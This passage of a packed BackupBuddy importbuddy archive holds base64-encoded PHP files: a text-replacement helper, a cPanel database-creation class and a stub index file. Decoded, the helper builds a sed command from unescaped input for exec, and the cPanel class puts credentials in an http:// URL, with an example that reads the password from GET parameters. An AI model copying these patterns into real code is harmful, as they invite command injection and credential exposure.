AqCUBwYXJhbQkJc3RyaW5nCQkkcmVnZXhfcmVwbGFjZQkJTk9UIHVzZWQgaW4gY29tbWFuZGxpbmUgbW9kZS4KCSAqCUBwYXJhbQkJYm9vbGVhbgkJJGdsb2JhbAkJCQlXaGV0aGVyIG9yIG5vdCB0byBnbG9iYWxseSByZXBsYWNlIGluIHJlZ2V4LiBEZWZhdWx0OiBmYWxzZSAob25seSByZXBsYWNlIGZpcnN0IGluc3RhbmNlIHBlciBsaW5lKS4KCSAqCUByZXR1cm4JCWJvb2xlYW4JCQkJCQkJVHJ1ZSBvbiBzdWNjZXNzOyBlbHNlIGZhbHNlLgoJICovCglwcml2YXRlIGZ1bmN0aW9uIF9zdHJpbmdyZXBsYWNlX2NvbW1hbmRsaW5lKCAkZmlsZSwgJHNlYXJjaCwgJHJlcGxhY2VtZW50LCAkcmVnZXhfY29uZGl0aW9uID0gJycsICRyZWdleF9yZXBsYWNlID0gJycsICRnbG9iYWwgPSBmYWxzZSApIHsKCQkKCQlwYl9iYWNrdXBidWRkeTo6c3RhdHVzKCAnZGV0YWlscycsICd0ZXh0cmVwbGFjZWJ1ZGR5OiBQcmVwYXJpbmcgdG8gcnVuIGNvbW1hbmQgbGluZSBzZWQgKHJlcGxhY2VtZW50IGNvbW1lbnQpIHZpYSBleGVjKCkuJyApOwoJCQoJCS8vIEhhbmRsZSBvcHRpb25hbCBnbG9iYWwgcmVwbGFjZW1lbnQuCgkJaWYgKCAkZ2xvYmFsID09PSB0cnVlICkgewoJCQkkZ2xvYmFsX2ZsYWcgPSAnZyc7CgkJCXBiX2JhY2t1cGJ1ZGR5OjpzdGF0dXMoICdkZXRhaWxzJywgJ3RleHRyZXBsYWNlYnVkZHk6IFVzaW5nIGdsb2JhbCByZXBsYWNlIHBlciBsaW5lLicgKTsKCQl9IGVsc2UgewoJCQkkZ2xvYmFsX2ZsYWcgPSAnJzsKCQkJcGJfYmFja3VwYnVkZHk6OnN0YXR1cyggJ2RldGFpbHMnLCAndGV4dHJlcGxhY2VidWRkeTogVXNpbmcgZmlyc3QgaW5zdGFuY2UgcmVwbGFjZSBwZXIgbGluZS4nICk7CgkJfQoJCQoJCS8qKioqKioqKioqIEJlZ2luIHByZXBhcmluZyBjb21tYW5kICoqKioqKioqKiovCgkJLy8gSGFuZGxlIFdpbmRvd3Mgd2FudGluZyAuZXhlLgoJCWlmICggc3RyaXN0ciggUEhQX09TLCAnV0lOJyApICYmICFzdHJpc3RyKCBQSFBfT1MsICdEQVJXSU4nICkgKSB7IC8vIFJ1bm5pbmcgV2luZG93cy4gKG5vdCBkYXJ3aW4pCgkJCXJldHVybiBmYWxzZTsKCQl9IGVsc2UgewoJCQlpZiAoICRyZWdleF9jb25kaXRpb24gPT0gJycgKSB7IC8vIE5vcm1hbCBzdHJpbmcgcmVwbGFjZS4KCQkJCSRjb21tYW5kID0gInNlZCBzL3skc2VhcmNofS97JHJlcGxhY2VtZW50fS97JGdsb2JhbF9mbGFnfSB7JGZpbGV9ID4geyRmaWxlfS50bXAiOwoJCQl9IGVsc2UgeyAvLyBDdXN0b20gcmVnZXggY29uZGl0aW9ucy4KCQkJCSRjb21tYW5kID0gInNlZCAtRSAnL3skcmVnZXhfY29uZGl0aW9ufS9zL3skc2VhcmNofS97JHJlcGxhY2VtZW50fS97JGdsb2JhbF9mbGFnfScgeyRmaWxlfSA+IHskZmlsZX0udG1wIjsKCQkJfQoJCX0KCQkKCQkvLyBSZWRpcmVjdCBTVERFUlIgdG8gU1RET1VULgoJCSRjb21tYW5kIC49ICcgIDI+JjEnOwoJCQoJCS8qKioqKioqKioqIEVuZCBwcmVwYXJpbmcgY29tbWFuZCAqKioqKioqKioqLwoJCQoJCS8vIFJ1biBjb21tYW5kLgoJCXBiX2JhY2t1cGJ1ZGR5OjpzdGF0dXMoICdkZXRhaWxzJywgJ3RleHRyZXBsYWNlYnVkZHk6IFJ1bm5pbmcgcmVwbGFjZSBjb21tYW5kIHZpYSBleGVjIG5leHQuJyApOwoJCWxpc3QoICRleGVjX291dHB1dCwgJGV4ZWNfZXhpdF9jb2RlICkgPSAkdGhpcy0+X2NvbW1hbmRidWRkeS0+ZXhlY3V0ZSggJGNvbW1hbmQgKTsKCQkKCQkvLyBDaGVjayB0aGUgcmVzdWx0LgoJCWlmICggJGV4ZWNfZXhpdF9jb2RlID09ICcwJyApIHsKCQkJcGJfYmFja3VwYnVkZHk6OnN0YXR1cyggJ2RldGFpbHMnLCAndGV4dHJlcGxhY2VidWRkeTogQ29tbWFuZCBhcHBlYXJzIHRvIHN1Y2NlZWRlZCBhbmQgcmV0dXJuZWQgcHJvcGVyIHJlc3BvbnNlLicgKTsKCQkJaWYgKCBmaWxlX2V4aXN0cyggJGZpbGUgLiAnLnRtcCcgKSApIHsgLy8gVGVtcCByZXBsYWNlbWVudCBmaWxlIGZvdW5kLiBTVUNDRVNTIQoJCQkJcGJfYmFja3VwYnVkZHk6OnN0YXR1cyggJ21lc3NhZ2UnLCAndGV4dHJlcGxhY2VidWRkeTogVGVtcG9yYXJ5IHRleHQgcmVwbGFjZW1lbnQgZmlsZSBjcmVhdGlvbiB2ZXJpZmllZC4nICk7CgkJCQkvKgoJCQkJaWYgKCB0cnVlID09PSByZW5hbWUoICRmaWxlIC4gJy50bXAnLCAkZmlsZSApICkgewoJCQkJCXBiX2JhY2t1cGJ1ZGR5OjpzdGF0dXMoICdtZXNzYWdlJywgJ3RleHRyZXBsYWNlYnVkZHk6IFRlbXBvcmFyeSBtb3ZlZCBiYWNrIHRvIG9yaWdpbmFsIGZpbGUuIFN1Y2Nlc3MuJyApOwoJCQkJCXJldHVybiB0cnVlOwoJCQkJfSBlbHNlIHsKCQkJCQlwYl9iYWNrdXBidWRkeTo6c3RhdHVzKCAnZXJyb3InLCAndGV4dHJlcGxhY2VidWRkeTogVGVtcG9yYXJ5IGNvdWxkIG5vdCBiZSBtb3ZlZCBiYWNrIHRvIG9yaWdpbmFsIGZpbGUuIEZhaWx1cmUuIFZlcmlmeSBwZXJtaXNzaW9ucy4nICk7CgkJCQkJcmV0dXJuIGZhbHNlOwoJCQkJfQoJCQkJKi8KCQkJCXJldHVybiB0cnVlOwoJCQl9IGVsc2UgeyAvLyBTUUwgZmlsZSBNSVNTSU5HLiBGQUlMVVJFIQoJCQkJcGJfYmFja3VwYnVkZHk6OnN0YXR1cyggJ2Vycm9yJywgJ3RleHRyZXBsYWNlYnVkZHk6IFRob3VnaCBjb21tYW5kIHJlcG9ydGVkIHN1Y2Nlc3MgdGVtcG9yYXJ5IHJlcGxhY2VtZW50IGZpbGUgaXMgbWlzc2luZzogYCcgLiAkb3V0cHV0X2ZpbGUgLiAnYC4nICk7CgkJCQlyZXR1cm4gZmFsc2U7CgkJCX0KCQl9IGVsc2UgewoJCQlwYl9iYWNrdXBidWRkeTo6c3RhdHVzKCAnZXJyb3InLCAndGV4dHJlcGxhY2VidWRkeTogQ29tbWFuZCBkaWQgbm90IGV4aXQgbm9ybWFsbHkuIEZhbGxpbmcgYmFjayB0byB0ZXh0IHJlcGxhY2VtZW50IGNvbXBhdGliaWxpdHkgbW9kZXMuJyApOwoJCQlyZXR1cm4gZmFsc2U7CgkJfQoJCQoJCQoJCS8vIFNob3VsZCBuZXZlciBnZXQgdG8gaGVyZS4KCQlwYl9iYWNrdXBidWRkeTo6c3RhdHVzKCAnZXJyb3InLCAndGV4dHJlcGxhY2VidWRkeTogVW5jYXVnaHQgZXhjZXB0aW9uICM0NTMyMzg5MC4nICk7CgkJcmV0dXJuIGZhbHNlOwoJCQoJfSAvLyBFbmQgX3N0cmluZ3JlcGxhY2VfY29tbWFuZGxpbmUoKS4KCQoJCgkKCS8qCV9zdHJpbmdyZXBsYWNlX3BocCgpCgkgKgkKCSAqCVBlcmZvcm1zIGFjdHVhbCBjb21tYW5kIGxpbmUgc3RyaW5nIHJlcGxhY2VtZW50LiBWSUEgUEhQLgoJICoJQ2FzZSBzZW5zaXRpdmUuCgkgKglSZXN1bHRpbmcgZmlsZSBzdG9yZWQgaW4gJGZpbGUgLiAndG1wJy4KCSAqCQoJICoJQHBhcmFtCQlzdHJpbmcJCSRmaWxlCQkJCUZ1bGwgZmlsZSBwYXRoIHRvIGZpbGUgdG8gcmVwbGFjZSBpbi4gYSAudG1wIHZlcnNpb24gaXMgdGVtcG9yYXJpbHkgbWFkZS4KCSAqCUBwYXJhbQkJc3RyaW5nCQkkc2VhcmNoCQkJCVN0cmluZyB0byBzZWFyY2ggZm9yLgoJICoJQHBhcmFtCQlzdHJpbmcJCSRyZXBsYWNlbWVudAkJU3RyaW5nIHRvIHJlcGxhY2Ugd2l0aC4KCSAqCUBwYXJhbQkJc3RyaW5nCQkkcmVnZXhfY29uZGl0aW9uCUNvbmRpdGlvbiB3aGVuIHJlcGxhY2VtZW50cyBtYXkgaGFwcGVuLiBPcHRpb25hbC4KCSAqCUBwYXJhbQkJc3RyaW5nCQkkcmVnZXhfcmVwbGFjZQkJSWYgZmFsbGVuIGJhY2sgaW50byBQSFAgbW9kZSB0aGVuIHRoaXMgaXMgbmVlZGVkIElGICRyZWdleF9jb25kaXRpb24gaXMgcGFzc2VkLiBPcHRpb25hbC4KCSAqCUByZXR1cm4JCWJvb2xlYW4JCQkJCQkJVHJ1ZSBvbiBzdWNjZXNzOyBlbHNlIGZhbHNlLgoJICovCglwcml2YXRlIGZ1bmN0aW9uIF9zdHJpbmdyZXBsYWNlX3BocCggJGZpbGUsICRzZWFyY2gsICRyZXBsYWNlbWVudCwgJHJlZ2V4X2NvbmRpdGlvbiA9ICcnLCAkcmVnZXhfcmVwbGFjZSA9ICcnICkgewoJCQoJCXBiX2JhY2t1cGJ1ZGR5OjpzdGF0dXMoICdkZXRhaWxzJywgJ3RleHRyZXBsYWNlYnVkZHk6IFN0YXJ0aW5nIGNvbXB0aWJpbGl0eSBtb2RlIFBIUCB0ZXh0IHJlcGxhY2VtZW50LicgKTsKCQkKCQkKCQkkZmlsZV9vID0gZm9wZW4oICRmaWxlLCAncicgKTsKCQkkdGVtcCA9ICRmaWxlIC4gJy50bXAnOwoJCQoJCWlmICggIWlzX3dyaXRhYmxlKCAkdGVtcCApICkgewoJCQlwYl9iYWNrdXBidWRkeTo6c3RhdHVzKCAnZXJyb3InLCAndGV4dHJlcGxhY2VidWRkeTogUGVybWlzc2lvbiBkZW5pZWQgd3JpdGluZyB0ZW1wb3JhcnkgZmlsZSBgJyAuICR0ZW1wIC4gJ2AuJyApOwoJCQlyZXR1cm4gZmFsc2U7CgkJfQoJCQoJCWlmICggaXNfcmVzb3VyY2UoICRmaWxlX28gKSA9PT0gdHJ1ZSApIHsKCQkJd2hpbGUgKCBmZW9mKCAkZmlsZV9vICkgPT09IGZhbHNlICkgewoJCQkKCQkJCWlmICggJHJlZ2V4X2NvbmRpdGlvbiAhPSAnJyApIHsgLy8gcmVnZXgKCQkJCQkkY29udGVudCA9IHByZWdfcmVwbGFjZSggIi9eeyRyZWdleF9jb25kaXRpb259L2kiLCAkcmVnZXhfcmVwbGFjZSwgZmdldHMoICRmaWxlX28gKSApOwoJCQkJfSBlbHNlIHsgLy8gc3RhbmRhcmQgc3RyaW5nCgkJCQkJJGNvbnRlbnQgPSBzdHJfcmVwbGFjZSggJHNlYXJjaCwgJHJlcGxhY2VtZW50LCBmZ2V0cyggJGZpbGVfbyApICk7CgkJCQl9CgkJCQlmaWxlX3B1dF9jb250ZW50cyggJHRlbXAsICRjb250ZW50LCBGSUxFX0FQUEVORCApOwoJCQl9CgkJCQoJCQlmY2xvc2UoICRmaWxlX28gKTsKCQl9CgkJCgkJLy91bmxpbmsoJGZpbGUpOwoJCQoJCS8qCgkJJHJlc3VsdCA9IHJlbmFtZSggJHRlbXAsICRmaWxlICk7CgkJaWYgKCAkcmVzdWx0ID09PSBmYWxzZSApIHsKCQkJcGJfYmFja3VwYnVkZHk6OnN0YXR1cyggJ2Vycm9yJywgJ3RleHRyZXBsYWNlYnVkZHk6IFVuYWJsZSB0byBtb3ZlIHRlbXBvcmFyeSBmaWxlIGJhY2sgdG8gb3JpZ2luYWwgZmlsZS4gRmFpbHVyZS4nICk7CgkJfSBlbHNlIHsKCQkJcGJfYmFja3VwYnVkZHk6OnN0YXR1cyggJ2RldGFpbHMnLCAndGV4dHJlcGxhY2VidWRkeTogTW92ZWQgdGVtcG9yYXJ5IGZpbGUgYmFjayB0byBvcmlnaW5hbCBmaWxlLiBTdWNjZXNzLicgKTsKCQl9CgkJKi8KCQkKCQlyZXR1cm4gJHJlc3VsdDsKCQkKCX0gLy8gRW5kIF9zdHJpbmdyZXBsYWNlX3BocCgpLgoJCgkKCQoJLyoJZ2V0X21ldGhvZHMoKQoJICoJCgkgKglHZXQgYW4gYXJyYXkgb2YgbWV0aG9kcy4gTm90ZTogSWYgZm9yY2Ugb3ZlcnJpZGluZyBtZXRob2RzIHRoZW4gZGV0ZWN0ZWQgbWV0aG9kcyB3aWxsIG5vdCBiZSBhYmxlIHRvIGRpc3BsYXkuCgkgKgkKCSAqCUByZXR1cm4JCWFycmF5CQkJCUFycmF5IG9mIG1ldGhvZHMuCgkgKi8KCXB1YmxpYyBmdW5jdGlvbiBnZXRfbWV0aG9kcygpIHsKCQlyZXR1cm4gJHRoaXMtPl9tZXRob2RzOwoJfSAvLyBFbmQgZ2V0X21ldGhvZHMoKS4KCQoJCgkKCS8qCXNldF9tZXRob2RzKCkKCSAqCQoJICoJU2V0IG1ldGhvZHMuIE92ZXJyaWRlcyBkZXRlY3RlZC4KCSAqCQoJICoJQHBhcmFtCQlhcnJheQkJJG1ldGhvZHMJCUFycmF5IG9mIG1ldGhvZHMgdG8gc2V0LgoJICoJQHJldHVybgkJbnVsbAoJICovCglwdWJsaWMgZnVuY3Rpb24gc2V0X21ldGhvZHMoICRtZXRob2RzID0gYXJyYXkoKSApIHsKCQkkdGhpcy0+X21ldGhvZHMgPSAkbWV0aG9kczsKCX0gLy8gRW5kIHNldF9tZXRob2RzKCkuCgkKCQoJCn0gLy8gRW5kIHBiX2JhY2t1cGJ1ZGR5X215c3FsYnVkZHkgY2xhc3MuCj8+
###PACKDATA,FILE_END,/lib/textreplacebuddy/textreplacebuddy.php,importbuddy/lib/textreplacebuddy/textreplacebuddy.php
###PACKDATA,FILE_START,/lib/cpanel/cpanel.php,importbuddy/lib/cpanel/cpanel.php
PD9waHAKLyoqCiAqIE1hbmFnZSBzb20gZWNwYW5lbCBzZXR0aW5ncy4KICoKICogQHBhY2thZ2UgQmFja3VwQnVkZHkvY1BhbmVsCiAqLwoKLyoKRVhBTVBMRToKCnJlcXVpcmVfb25jZSggcGJfYmFja3VwYnVkZHk6OnBsdWdpbl9wYXRoKCkgLiAnL2xpYi9jcGFuZWwvY3BhbmVsLnBocCcgKTsKCiRjcGFuZWxfdXNlciA9IHBiX2JhY2t1cGJ1ZGR5OjpfR0VUKCAndXNlcicgKTsKJGNwYW5lbF9wYXNzd29yZCA9IHBiX2JhY2t1cGJ1ZGR5OjpfR0VUKCAncGFzcycgKTsKJGNwYW5lbF9ob3N0ID0gImZvby5jb20iOwokZGJfbmFtZSA9ICdhcHBsZXMnOwokZGJfdXNlciA9ICdvcmFuZ2VzJzsKJGRiX3Bhc3MgPSAnYmFuYW5hcyc7CiRjcmVhdGVfZGJfcmVzdWx0ID0gcGJfYmFja3VwYnVkZHlfY3BhbmVsOjpjcmVhdGVfZGIoICRjcGFuZWxfdXNlciwgJGNwYW5lbF9wYXNzd29yZCwgJGNwYW5lbF9ob3N0LCAkZGJfbmFtZSwgJGRiX3VzZXIsICRkYl9wYXNzICk7CgppZiAoICRjcmVhdGVfZGJfcmVzdWx0ID09PSB0cnVlICkgewoJZWNobyAnU3VjY2VzcyEgQ3JlYXRlZCBkYXRhYmFzZSwgdXNlciwgYW5kIGFzc2lnbmVkIHVzZWQgdG8gZGF0YWJhc2UuJzsKfSBlbHNlIHsKCWVjaG8gJ0Vycm9yKHMpOjxicj48cHJlPicgLiBwcmludF9yKCAkY3JlYXRlX2RiX3Jlc3VsdCwgdHJ1ZSApIC4gJzwvcHJlPic7Cn0KCiovCgovKioKICogQ3BhbmVsIENsYXNzCiAqCiAqIE1hbmFnZSBzb21lIGNwYW5lbCBzZXR0aW5ncy4KICovCmNsYXNzIHBiX2JhY2t1cGJ1ZGR5X2NwYW5lbCB7CgoJLyoqCgkgKiBDcmVhdGUgYSBkYXRhYmFzZSBhbmQgYXNzaWduIGEgdXNlciB0byBpdCB3aXRoIGFsbCBwcml2aWxhZ2VzLgoJICoKCSAqIFRPRE86IFVzZSBtb3JlIHJvYnVzdCB0aGFuIGZpbGVfZ2V0X2NvbnRlbnRzKCkuCgkgKgoJICogQHBhcmFtIHN0cmluZyAkY3BhbmVsX3VzZXIgICAgICBjUGFuZWwgdXNlcm5hbWUuCgkgKiBAcGFyYW0gc3RyaW5nICRjcGFuZWxfcGFzc3dvcmQgIGNQYW5lbCBwYXNzd29yZC4KCSAqIEBwYXJhbSBzdHJpbmcgJGNwYW5lbF9ob3N0ICAgICAgY1BhbmVsIGhvc3RuYW1lLgoJICogQHBhcmFtIHN0cmluZyAkZGJfbmFtZSAgICAgICAgICBEYXRhYmFzZSBuYW1lLgoJICogQHBhcmFtIHN0cmluZyAkZGJfdXNlciAgICAgICAgICBEYXRhYmFzZSB1c2VybmFtZS4KCSAqIEBwYXJhbSBzdHJpbmcgJGRiX3VzZXJwYXNzICAgICAgRGF0YWJhc2UgcGFzc3dvcmQuCgkgKiBAcGFyYW0gaW50ICAgICRjcGFuZWxfcG9ydCAgICAgIGNQYW5lbCBwb3J0IG51bWJlci4KCSAqIEBwYXJhbSBzdHJpbmcgJGNwYW5lbF9wcm90b2NvbCAgY1BhbmVsIHByb3RvY29sLgoJICoKCSAqIEByZXR1cm4gdHJ1ZXxhcnJheSAgQm9vbGVhbiB0cnVlIG9uIHN1Y2Nlc3MsIGVsc2UgYW4gYXJyYXkgb2YgZXJyb3JzLgoJICovCglwdWJsaWMgc3RhdGljIGZ1bmN0aW9uIGNyZWF0ZV9kYiggJGNwYW5lbF91c2VyLCAkY3BhbmVsX3Bhc3N3b3JkLCAkY3BhbmVsX2hvc3QsICRkYl9uYW1lLCAkZGJfdXNlciwgJGRiX3VzZXJwYXNzLCAkY3BhbmVsX3BvcnQgPSAnMjA4MicsICRjcGFuZWxfcHJvdG9jb2wgPSAnaHR0cDovLycgKSB7CgkJJGNwYW5lbF9za2luID0gJ3gzJzsKCQkkZXJyb3JzICAgICAgPSBhcnJheSgpOwoKCQkkY3BhbmVsX3Bhc3N3b3JkID0gdXJsZW5jb2RlKCAkY3BhbmVsX3Bhc3N3b3JkICk7IC8vIFBhc3Mgb2Z0ZW4gaGFzIHNwZWNpYWwgY2hhcnMgc28gZW5jb2RlLgoKCQkvLyBDYWxjdWxhdGUgYmFzZSBVUkwuCgkJJGJhc2VfdXJsID0gInskY3BhbmVsX3Byb3RvY29sfXskY3BhbmVsX3VzZXJ9OnskY3BhbmVsX3Bhc3N3b3JkfUB7JGNwYW5lbF9ob3N0fTp7JGNwYW5lbF9wb3J0fS9leGVjdXRlL015c3FsIjsKCgkJLy8gR2VuZXJhdGUgY3JlYXRlIGRhdGFiYXNlIFVSTC4KCQkkY3JlYXRlX2RhdGFiYXNlX3VybCA9ICRiYXNlX3VybCAuICIvY3JlYXRlX2RhdGFiYXNlP25hbWU9eyRjcGFuZWxfdXNlcn1feyRkYl9uYW1lfSI7CgoJCS8vIENyZWF0ZSByZXF1ZXN0IGNvcmUgb2JqIGZvciBjb25uZWN0aW5nIHRvIEhUVFAuCgkJJHJlcXVlc3QgPSBuZXcgUmVxdWVzdENvcmUoICRjcmVhdGVfZGF0YWJhc2VfdXJsICk7CgkJdHJ5IHsKCQkJJHJlc3VsdCA9ICRyZXF1ZXN0LT5zZW5kX3JlcXVlc3QoIHRydWUgKTsKCQl9IGNhdGNoICggRXhjZXB0aW9uICRlICkgewoJCQlpZiAoIHN0cmlzdHIoICRlLT5nZXRNZXNzYWdlKCksICdjb3VsZG5cJ3QgY29ubmVjdCB0byBob3N0JyApICE9PSBmYWxzZSApIHsKCQkJCSRlcnJvcnNbXSA9IGVzY19odG1sX18oICdVbmFibGUgdG8gY29ubmVjdCB0byBob3N0JywgJ2l0LWwxMG4tYmFja3VwYnVkZHknICkgLiAnIGAnIC4gJGNwYW5lbF9ob3N0IC4gJ2AgJyAuIGVzY19odG1sX18oICdvbiBwb3J0JywgJ2l0LWwxMG4tYmFja3VwYnVkZHknICkgLiAnIGAnIC4gJGNwYW5lbF9wb3J0IC4gJ2AuICcgLiBlc2NfaHRtbF9fKCAnVmVyaWZ5IHRoZSBjUGFuZWwgZG9tYWluL1VSTCBhbmQgbWFrZSBzdXJlIHRoZSBzZXJ2ZXIgaXMgYWJsZSB0byBpbml0aWF0ZSBvdXRnb2luZyBodHRwIGNvbm5lY3Rpb25zIG9uIHBvcnQgJywgJ2l0LWwxMG4tYmFja3VwYnVkZHknICkgLiAkY3BhbmVsX3BvcnQgLiAnLiAnIC4gZXNjX2h0bWxfXyggJ1NvbWUgaG9zdHMgYmxvY2sgdGhpcy4nLCAnaXQtbDEwbi1iYWNrdXBidWRkeScgKTsKCQkJCXJldHVybiAkZXJyb3JzOwoJCQl9CgkJCSRlcnJvcnNbXSA9IGVzY19odG1sX18oICdDYXVnaHQgZXhjZXB0aW9uOiAnLCAnaXQtbDEwbi1iYWNrdXBidWRkeScgKSAuICRlLT5nZXRNZXNzYWdlKCkgLiAnLiAnIC4gZXNjX2h0bWxfXyggJ0Z1bGwgVVJMOiAnLCAnaXQtbDEwbi1iYWNrdXBidWRkeScgKSAuICRjcmVhdGVfZGF0YWJhc2VfdXJsOwoJCQlyZXR1cm4gJGVycm9yczsKCQl9CgoJCS8vIEdlbmVyYXRlIGNyZWF0ZSBkYXRhYmFzZSB1c2VyIFVSTC4KCQkkY3JlYXRlX3VzZXJfdXJsID0gJGJhc2VfdXJsIC4gIi9jcmVhdGVfdXNlcj9uYW1lPXskY3BhbmVsX3VzZXJ9X3skZGJfdXNlcn0mcGFzc3dvcmQ9eyRkYl91c2VycGFzc30iOwoKCQkvLyBHZW5lcmF0ZSBhc3NpZ24gdXNlciBkYXRhYmFzZSBhY2Nlc3MgVVJMLgoJCSRhc3NpZ25fdXNlcl91cmwgPSAkYmFzZV91cmwgLiAiL3NldF9wcml2aWxlZ2VzX29uX2RhdGFiYXNlP3VzZXI9eyRjcGFuZWxfdXNlcn1feyRkYl91c2VyfSZkYXRhYmFzZT17JGNwYW5lbF91c2VyfV97JGRiX25hbWV9JnByaXZpbGVnZXM9QUxMIjsKCgkJaWYgKCBmYWxzZSA9PT0gJHJlc3VsdC0+aXNPSygpICkgewoJCQkkZXJyb3JzW10gPSBlc2NfaHRtbF9fKCAnVW5hYmxlIHRvIGNyZWF0ZSBkYXRhYmFzZSAtIHJlc3BvbnNlIHN0YXR1cyBjb2RlOiAnLCAnaXQtbDEwbi1iYWNrdXBidWRkeScgKSAuICRyZXN1bHQtPnN0YXR1czsKCQl9IGVsc2UgewoJCQkkcmVzdWx0X2FycmF5ID0ganNvbl9kZWNvZGUoICRyZXN1bHQtPmJvZHksIHRydWUgKTsKCQkJaWYgKCBpc3NldCggJHJlc3VsdF9hcnJheVsnc3RhdHVzJ10gKSAmJiAwID09ICRyZXN1bHRfYXJyYXlbJ3N0YXR1cyddICkgewoJCQkJLy8gc3RhdHVzID0gMCBtZWFucyBhIGZhaWx1cmUuCgkJCQkkZXJyb3JzW10gPSBlc2NfaHRtbF9fKCAnVW5hYmxlIHRvIGNyZWF0ZSBkYXRhYmFzZTonLCAnaXQtbDEwbi1iYWNrdXBidWRkeScgKTsKCQkJCWlmICggaXNzZXQoICRyZXN1bHRfYXJyYXlbJ2Vycm9ycyddICkgJiYgKCBpc19hcnJheSggJHJlc3VsdF9hcnJheVsnZXJyb3JzJ10gKSApICkgewoJCQkJCWZvcmVhY2ggKCAkcmVzdWx0X2FycmF5WydlcnJvcnMnXSBhcyAkZXJyb3IgKSB7CgkJCQkJCSRlcnJvcnNbXSA9ICRlcnJvcjsKCQkJCQl9CgkJCQl9CgkJCX0KCQl9CgoJCS8vIFJ1biBjcmVhdGUgZGF0YWJhc2UgdXNlci4KCQlpZiAoIGNvdW50KCAkZXJyb3JzICkgPT09IDAgKSB7CgkJCSRyZXF1ZXN0ID0gbmV3IFJlcXVlc3RDb3JlKCAkY3JlYXRlX3VzZXJfdXJsICk7CgkJCXRyeSB7CgkJCQkkcmVzdWx0ID0gJHJlcXVlc3QtPnNlbmRfcmVxdWVzdCggdHJ1ZSApOwoJCQl9IGNhdGNoICggRXhjZXB0aW9uICRlICkgewoJCQkJJGVycm9yc1tdID0gZXNjX2h0bWxfXyggJ0NhdWdodCBleGNlcHRpb246ICcsICdpdC1sMTBuLWJhY2t1cGJ1ZGR5JyApIC4gJGUtPmdldE1lc3NhZ2UoKTsKCQkJCXJldHVybiAkZXJyb3JzOwoJCQl9CgoJCQlpZiAoIGZhbHNlID09PSAkcmVzdWx0LT5pc09LKCkgKSB7CgkJCQkkZXJyb3JzW10gPSBlc2NfaHRtbF9fKCAnVW5hYmxlIHRvIGNyZWFldCB1c2VyIC0gcmVzcG9uc2Ugc3RhdHVzIGNvZGU6ICcsICdpdC1sMTBuLWJhY2t1cGJ1ZGR5JyApIC4gJHJlc3VsdC0+c3RhdHVzOwoJCQl9IGVsc2UgewoJCQkJJHJlc3VsdF9hcnJheSA9IGpzb25fZGVjb2RlKCAkcmVzdWx0LT5ib2R5LCB0cnVlICk7CgkJCQlpZiAoIGlzc2V0KCAkcmVzdWx0X2FycmF5WydzdGF0dXMnXSApICYmIDAgPT0gJHJlc3VsdF9hcnJheVsnc3RhdHVzJ10gKSB7CgkJCQkJLy8gc3RhdHVzID0gMCBtZWFucyBhIGZhaWx1cmUuCgkJCQkJJGVycm9yc1tdID0gZXNjX2h0bWxfXyggJ1VuYWJsZSB0byBjcmVhdGUgdXNlcjonLCAnaXQtbDEwbi1iYWNrdXBidWRkeScgKTsKCQkJCQlpZiAoIGlzc2V0KCAkcmVzdWx0X2FycmF5WydlcnJvcnMnXSApICYmICggaXNfYXJyYXkoICRyZXN1bHRfYXJyYXlbJ2Vycm9ycyddICkgKSApIHsKCQkJCQkJZm9yZWFjaCAoICRyZXN1bHRfYXJyYXlbJ2Vycm9ycyddIGFzICRlcnJvciApIHsKCQkJCQkJCSRlcnJvcnNbXSA9ICRlcnJvcjsKCQkJCQkJfQoJCQkJCX0KCQkJCX0KCQkJfQoJCX0KCgkJLy8gUnVuIGFzc2lnbiB1c2VyIHRvIGRhdGFiYXNlLgoJCWlmICggY291bnQoICRlcnJvcnMgKSA9PT0gMCApIHsKCQkJJHJlcXVlc3QgPSBuZXcgUmVxdWVzdENvcmUoICRhc3NpZ25fdXNlcl91cmwgKTsKCQkJdHJ5IHsKCQkJCSRyZXN1bHQgPSAkcmVxdWVzdC0+c2VuZF9yZXF1ZXN0KCB0cnVlICk7CgkJCX0gY2F0Y2ggKCBFeGNlcHRpb24gJGUgKSB7CgkJCQkkZXJyb3JzW10gPSBlc2NfaHRtbF9fKCAnQ2F1Z2h0IGV4Y2VwdGlvbjogJywgJ2l0LWwxMG4tYmFja3VwYnVkZHknICkgLiAkZS0+Z2V0TWVzc2FnZSgpOwoJCQkJcmV0dXJuICRlcnJvcnM7CgkJCX0KCgkJCWlmICggZmFsc2UgPT09ICRyZXN1bHQtPmlzT0soKSApIHsKCQkJCSRlcnJvcnNbXSA9IGVzY19odG1sX18oICdVbmFibGUgdG8gc2V0IHByaXZpbGVnZXMgZm9yIHVzZXIgLSByZXNwb25zZSBzdGF0dXMgY29kZTogJywgJ2l0LWwxMG4tYmFja3VwYnVkZHknICkgLiAkcmVzdWx0LT5zdGF0dXM7CgkJCX0gZWxzZSB7CgkJCQkkcmVzdWx0X2FycmF5ID0ganNvbl9kZWNvZGUoICRyZXN1bHQtPmJvZHksIHRydWUgKTsKCQkJCWlmICggaXNzZXQoICRyZXN1bHRfYXJyYXlbJ3N0YXR1cyddICkgJiYgKCAwID09ICRyZXN1bHRfYXJyYXlbJ3N0YXR1cyddICkgKSB7CgkJCQkJLy8gc3RhdHVzID0gMCBtZWFucyBhIGZhaWx1cmUuCgkJCQkJJGVycm9yc1tdID0gZXNjX2h0bWxfXyggJ1VuYWJsZSB0byBzZXQgcHJpdmlsZWdlcyBmb3IgdXNlcjonLCAnaXQtbDEwbi1iYWNrdXBidWRkeScgKTsKCQkJCQlpZiAoIGlzc2V0KCAkcmVzdWx0X2FycmF5WydlcnJvcnMnXSApICYmICggaXNfYXJyYXkoICRyZXN1bHRfYXJyYXlbJ2Vycm9ycyddICkgKSApIHsKCQkJCQkJZm9yZWFjaCAoICRyZXN1bHRfYXJyYXlbJ2Vycm9ycyddIGFzICRlcnJvciApIHsKCQkJCQkJCSRlcnJvcnNbXSA9ICRlcnJvcjsKCQkJCQkJfQoJCQkJCX0KCQkJCX0KCQkJfQoJCX0KCgkJaWYgKCBjb3VudCggJGVycm9ycyApID4gMCApIHsgLy8gT25lIG9yIG1vcmUgZXJyb3JzLgoJCQlyZXR1cm4gJGVycm9yczsKCQl9IGVsc2UgewoJCQlyZXR1cm4gdHJ1ZTsgLy8gU3VjY2VzcyEKCQl9CgoJfQoKfSAvLyBlbmQgY2xhc3MuCg==
###PACKDATA,FILE_END,/lib/cpanel/cpanel.php,importbuddy/lib/cpanel/cpanel.php
###PACKDATA,FILE_START,/lib/cpanel/index.php,importbuddy/lib/cpanel/index.php
PD9waHAgLy8gU2lsZW5jZSBpcyBnb2xkZW4u
